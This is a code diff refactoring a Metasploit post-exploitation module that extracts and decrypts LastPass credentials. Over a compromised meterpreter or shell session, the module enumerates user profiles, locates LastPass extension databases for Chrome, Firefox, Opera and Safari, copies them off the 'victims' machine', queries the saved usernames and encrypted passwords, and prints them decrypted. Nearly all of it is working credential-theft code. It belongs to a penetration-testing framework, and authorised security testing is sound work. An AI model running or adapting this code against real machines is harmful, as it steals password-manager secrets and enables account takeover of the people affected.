@@ -10,14 +10,17 @@ class Metasploit3 < Msf::Post
10
10
include Msf ::Post ::Unix
11
11
12
12
def initialize ( info = { } )
13
- super ( update_info ( info ,
14
- 'Name' => 'LastPass Master Password Extractor' ,
15
- 'Description' => %q{This module extracts and decrypts login accounts and passwords stored by Lastpass.} ,
16
- 'License' => MSF_LICENSE ,
17
- 'Author' => [ 'Alberto Garcia Illera <agarciaillera[at]gmail.com>' , 'Martin Vigo <martinvigo[at]gmail.com>' ] ,
18
- 'Platform' => %w{ linux osx unix win } ,
19
- 'SessionTypes' => [ 'meterpreter, shell' ]
20
- ) )
13
+ super (
14
+ update_info (
15
+ info ,
16
+ 'Name' => 'LastPass Master Password Extractor' ,
17
+ 'Description' => 'This module extracts and decrypts LastPass master login accounts and passwords' ,
18
+ 'License' => MSF_LICENSE ,
19
+ 'Author' => [ 'Alberto Garcia Illera <agarciaillera[at]gmail.com>' , 'Martin Vigo <martinvigo[at]gmail.com>' ] ,
20
+ 'Platform' => %w( linux osx unix win ) ,
21
+ 'SessionTypes' => %w( meterpreter shell )
22
+ )
23
+ )
21
24
end
22
25
23
26
def run
@@ -26,48 +29,55 @@ def run
26
29
return
27
30
end
28
31
29
- credentials_table = Rex ::Ui ::Text ::Table . new ( 'Header' => "LastPass credentials" , 'Indent' => 1 , 'Columns' => [ "Username" , "Password" ] )
30
-
31
32
print_status "Searching for LastPass databases..."
32
33
33
- db_paths = database_paths # Find databases and get the remote paths
34
- if db_paths . size == 0 # Found any database ?
34
+ db_map = database_paths # Find databases and get the remote paths
35
+ if db_map . empty ?
35
36
print_status "No databases found"
36
37
return
37
38
end
38
39
39
40
print_status "Looking for credentials in all databases found..."
40
41
42
+ # an array of [user, encrypted password, browser]
41
43
credentials = [ ] # All credentials to be decrypted
42
- db_paths . each do |db_path |
43
- if db_path =~ /Mozilla/i # Firefox
44
- # Read and store the remote preferences file locally
45
- data = read_file ( db_path )
46
- loot_path = store_loot ( 'firefox.preferences' , 'text/javascript' , session , data , nil , "Firefox preferences file #{ db_path } " )
47
-
48
- # Extract usernames and passwords from preference file
49
- firefox_encoded_creds = firefox_credentials ( loot_path )
50
- next unless firefox_encoded_creds
51
- firefox_encoded_creds . each do |creds |
52
- credentials = [ URI . unescape ( creds [ 0 ] ) , URI . unescape ( creds [ 1 ] ) ] unless creds [ 0 ] . nil? || creds [ 1 ] . nil?
44
+ db_map . each_pair do |browser , paths |
45
+ if browser == 'Firefox'
46
+ paths . each do |path |
47
+ data = read_file ( path )
48
+ loot_path = store_loot ( 'firefox.preferences' , 'text/javascript' , session , data , nil , "Firefox preferences file #{ path } " )
49
+
50
+ # Extract usernames and passwords from preference file
51
+ firefox_encoded_creds = firefox_credentials ( loot_path )
52
+ next unless firefox_encoded_creds
53
+ firefox_encoded_creds . each do |creds |
54
+ credentials << [ URI . unescape ( creds [ 0 ] ) , URI . unescape ( creds [ 1 ] ) , browser ] unless creds [ 0 ] . nil? || creds [ 1 ] . nil?
55
+ end
53
56
end
54
-
55
57
else # Chrome, Safari and Opera
56
- # Read and store the remote database locally
57
- data = read_file ( db_path )
58
- loot_path = store_loot ( 'lastpass.database' , 'application/x-sqlite3' , session , data , nil , "LastPass database #{ db_path } " )
59
-
60
- # Parsing/Querying the DB
61
- db = SQLite3 ::Database . new ( loot_path )
62
- credentials = db . execute ( "SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';" )
58
+ paths . each do |path |
59
+ data = read_file ( path )
60
+ loot_path = store_loot ( "#{ browser . downcase } .lastpass.database" , 'application/x-sqlite3' , session , data , nil , "#{ browser } LastPass database #{ path } " )
61
+
62
+ # Parsing/Querying the DB
63
+ db = SQLite3 ::Database . new ( loot_path )
64
+ user , pass = db . execute (
65
+ "SELECT username, password FROM LastPassSavedLogins2 " \
66
+ "WHERE username IS NOT NULL AND username != '' " \
67
+ "AND password IS NOT NULL AND password != '';"
68
+ ) . flatten
69
+ credentials << [ user , pass , browser ] if user && pass
70
+ end
63
71
end
72
+ end
64
73
65
- # Parse and decrypt credentials
66
- credentials . each do |row | # Decrypt passwords
67
- print_status "Decrypting password for user #{ row [ 0 ] } ..."
68
- password = clear_text_password ( row [ 0 ] , row [ 1 ] )
69
- credentials_table << [ row [ 0 ] , password ]
70
- end
74
+ credentials_table = Rex ::Ui ::Text ::Table . new ( 'Header' => "LastPass credentials" , 'Indent' => 1 , 'Columns' => %w( Username Password Browser ) )
75
+ # Parse and decrypt credentials
76
+ credentials . each do |row | # Decrypt passwords
77
+ user , enc_pass , browser = row
78
+ print_status "Decrypting password for user #{ user } from #{ browser } ..."
79
+ password = clear_text_password ( user , enc_pass )
80
+ credentials_table << [ user , password , browser ]
71
81
end
72
82
print_good credentials_table . to_s
73
83
end
@@ -76,72 +86,53 @@ def run
76
86
def database_paths
77
87
platform = session . platform
78
88
existing_profiles = user_profiles
79
- found_dbs_paths = [ ]
89
+ found_dbs_map = {
90
+ 'Chrome' => [ ] ,
91
+ 'Firefox' => [ ] ,
92
+ 'Opera' => [ ] ,
93
+ 'Safari' => [ ]
94
+ }
95
+
96
+ browser_path_map = { }
80
97
81
98
case platform
82
99
when /win/
83
100
existing_profiles . each do |user_profile |
84
101
print_status "Found user: #{ user_profile [ 'UserName' ] } "
85
-
86
- # Check Firefox
87
- path = "#{ user_profile [ 'AppData' ] } \\ Mozilla\\ Firefox\\ Profiles"
88
- found_dbs_paths . push ( find_db_paths ( path , "Firefox" ) )
89
-
90
- # Check Chrome
91
- path = "#{ user_profile [ 'LocalAppData' ] } \\ Google\\ Chrome\\ User Data\\ Default\\ databases\\ chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0"
92
- found_dbs_paths . push ( find_db_paths ( path , "Chrome" ) )
93
-
94
- # Check Opera
95
- path = "#{ user_profile [ 'AppData' ] } \\ Opera Software\\ Opera Stable\\ databases\\ chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
96
- found_dbs_paths . push ( find_db_paths ( path , "Opera" ) )
97
-
98
- # Check Safari
99
- path = "#{ user_profile [ 'LocalAppData' ] } \\ Apple Computer\\ Safari\\ Databases\\ safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
100
- found_dbs_paths . push ( find_db_paths ( path , "Safari" ) )
101
-
102
- print_line ""
102
+ browser_path_map = {
103
+ 'Chrome' => "#{ user_profile [ 'LocalAppData' ] } \\ Google\\ Chrome\\ User Data\\ Default\\ databases\\ chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" ,
104
+ 'Firefox' => "#{ user_profile [ 'AppData' ] } \\ Mozilla\\ Firefox\\ Profiles" ,
105
+ 'Opera' => "#{ user_profile [ 'AppData' ] } \\ Opera Software\\ Opera Stable\\ databases\\ chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" ,
106
+ 'Safari' => "#{ user_profile [ 'LocalAppData' ] } \\ Apple Computer\\ Safari\\ Databases\\ safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
107
+ }
103
108
end
104
-
105
109
when /unix|linux/
106
110
existing_profiles . each do |user_profile |
107
111
print_status "Found user: #{ user_profile [ 'UserName' ] } "
108
-
109
- # Check Firefox
110
- path = "#{ user_profile [ 'LocalAppData' ] } /.mozilla/firefox"
111
- found_dbs_paths . push ( find_db_paths ( path , "Firefox" ) )
112
-
113
- # Check Chrome
114
- path = "#{ user_profile [ 'LocalAppData' ] } /.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0"
115
- found_dbs_paths . push ( find_db_paths ( path , "Chrome" ) )
112
+ browser_path_map = {
113
+ 'Chrome' => "#{ user_profile [ 'LocalAppData' ] } /.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" ,
114
+ 'Firefox' => "#{ user_profile [ 'LocalAppData' ] } /.mozilla/firefox"
115
+ }
116
116
end
117
-
118
117
when /osx/
119
118
existing_profiles . each do |user_profile |
120
119
print_status "Found user: #{ user_profile [ 'UserName' ] } "
121
-
122
- # Check Firefox
123
- path = "#{ user_profile [ 'LocalAppData' ] } \\ Firefox\\ Profiles"
124
- found_dbs_paths . push ( find_db_paths ( path , "Firefox" ) )
125
-
126
- # Check Chrome
127
- path = "#{ user_profile [ 'LocalAppData' ] } /Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0"
128
- found_dbs_paths . push ( find_db_paths ( path , "Chrome" ) )
129
-
130
- # Check Safari
131
- path = "#{ user_profile [ 'AppData' ] } /Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
132
- found_dbs_paths . push ( find_db_paths ( path , "Safari" ) )
133
-
134
- # Check Opera
135
- path = "#{ user_profile [ 'LocalAppData' ] } /com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
136
- found_dbs_paths . push ( find_db_paths ( path , "Opera" ) )
120
+ browser_path_map = {
121
+ 'Chrome' => "#{ user_profile [ 'LocalAppData' ] } /Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" ,
122
+ 'Firefox' => "#{ user_profile [ 'LocalAppData' ] } \\ Firefox\\ Profiles" ,
123
+ 'Opera' => "#{ user_profile [ 'LocalAppData' ] } /com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" ,
124
+ 'Safari' => "#{ user_profile [ 'AppData' ] } /Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
125
+ }
137
126
end
138
-
139
127
else
140
128
print_error "platform not recognized: #{ platform } "
141
- return nil
142
129
end
143
130
144
- found_dbs_paths . flatten
131
+ browser_path_map . each_pair do |browser , path |
132
+ found_dbs_map [ browser ] |= find_db_paths ( path , browser )
133
+ end
134
+
135
+ found_dbs_map
145
136
end
146
137
147
138
# Returns a list of DB paths found in the victims' machine
@@ -150,53 +141,48 @@ def find_db_paths(path, browser)
150
141
151
142
print_status "Checking in #{ browser } ..."
152
143
if browser == "Firefox" # Special case for Firefox
153
- profiles = profile_paths ( path , browser )
154
- if profiles
144
+ profiles = firefox_profile_files ( path , browser )
145
+ unless profiles . empty?
155
146
print_good "Found #{ profiles . size } profile files in Firefox"
156
- profiles . each do |profile_path |
157
- file_paths = [ "#{ profile_path } \\ prefs.js" ]
158
- found_dbs_paths . push ( file_paths )
159
- end
147
+ found_dbs_paths |= profiles
160
148
end
161
149
else
162
- file_paths = file_paths ( path , browser )
163
- found_dbs_paths . push ( file_paths ) unless file_paths . nil?
150
+ found_dbs_paths |= file_paths ( path , browser )
164
151
end
165
152
166
153
found_dbs_paths
167
154
end
168
155
169
156
# Returns the relevant information from user profiles
170
157
def user_profiles
158
+ user_profiles = [ ]
171
159
case session . platform
172
160
when /unix|linux/
173
- user_profiles = [ ]
174
161
if session . type == "meterpreter"
175
162
user_names = client . fs . dir . entries ( "/home" )
176
163
else
177
164
user_names = session . shell_command ( "ls /home" ) . split
178
165
end
166
+ user_names . reject! { |u | %w( . .. ) . include? ( u ) }
179
167
user_names . each do |user_name |
180
- user_profiles . push ( 'UserName' => user_name , "LocalAppData" => "/home/#{ user_name } " ) if user_name != '.' && user_name != '..'
168
+ user_profiles . push ( 'UserName' => user_name , "LocalAppData" => "/home/#{ user_name } " )
181
169
end
182
-
183
- return user_profiles
184
-
185
170
when /osx/
186
- user_profiles = [ ]
187
171
user_names = session . shell_command ( "ls /Users" ) . split
172
+ user_names . reject! { |u | u == 'Shared' }
188
173
user_names . each do |user_name |
189
- user_profiles . push ( 'UserName' => user_name , "AppData" => "/Users/#{ user_name } /Library" , "LocalAppData" => "/Users/#{ user_name } /Library/Application Support" ) if user_name != 'Shared'
174
+ user_profiles . push (
175
+ 'UserName' => user_name ,
176
+ "AppData" => "/Users/#{ user_name } /Library" ,
177
+ "LocalAppData" => "/Users/#{ user_name } /Library/Application Support"
178
+ )
190
179
end
191
-
192
- return user_profiles
193
-
194
180
when /win/
195
- return grab_user_profiles
181
+ user_profiles |= grab_user_profiles
196
182
else
197
183
print_error "OS not recognized: #{ os } "
198
- return nil
199
184
end
185
+ user_profiles
200
186
end
201
187
202
188
# Extracts the databases paths from the given folder ignoring . and ..
@@ -218,48 +204,42 @@ def file_paths(path, browser)
218
204
219
205
else
220
206
print_error "Session type not recognized: #{ session . type } "
221
- return nil
207
+ return found_dbs_paths
222
208
end
223
209
end
224
210
225
- if found_dbs_paths . size > 0
226
- print_good "Found #{ found_dbs_paths . size } database/s in #{ browser } "
227
- return found_dbs_paths
228
- else
211
+ if found_dbs_paths . empty?
229
212
print_status "No databases found for #{ browser } "
230
- return nil
213
+ else
214
+ print_good "Found #{ found_dbs_paths . size } database/s in #{ browser } "
231
215
end
216
+ found_dbs_paths
232
217
end
233
218
234
- # Returns the profile path for Firefox
235
- def profile_paths ( path , browser )
219
+ # Returns the profile files for Firefox
220
+ def firefox_profile_files ( path , browser )
236
221
found_dbs_paths = [ ]
237
222
238
223
if directory? ( path )
239
224
if session . type == "meterpreter"
240
225
files = client . fs . dir . entries ( path )
241
- files . each do |file_path |
242
- found_dbs_paths . push ( File . join ( path , file_path ) ) if file_path != '.' && file_path != '..' && file_path . match ( /.*\. default/ )
243
- end
244
-
245
226
elsif session . type == "shell"
246
227
files = session . shell_command ( "ls \" #{ path } \" " ) . split
247
- files . each do |file_path |
248
- found_dbs_paths . push ( File . join ( path , file_path ) ) if file_path . match ( /.*\. default/ )
249
- end
250
-
251
228
else
252
229
print_error "Session type not recognized: #{ session . type } "
253
- return nil
230
+ return found_dbs_paths
254
231
end
255
232
end
256
233
257
- if found_dbs_paths . size > 0
258
- return found_dbs_paths
259
- else
234
+ files . reject! { |file | %w( . .. ) . include? ( file ) }
235
+ files . each do |file_path |
236
+ found_dbs_paths . push ( File . join ( path , file_path , 'prefs.js' ) ) if file_path . match ( /.*\. default/ )
237
+ end
238
+
239
+ if found_dbs_paths . empty?
260
240
print_status "No profile paths found for #{ browser } "
261
- return nil
262
241
end
242
+ found_dbs_paths
263
243
end
264
244
265
245
# Parses the Firefox preferences file and returns encoded credentials
0 commit comments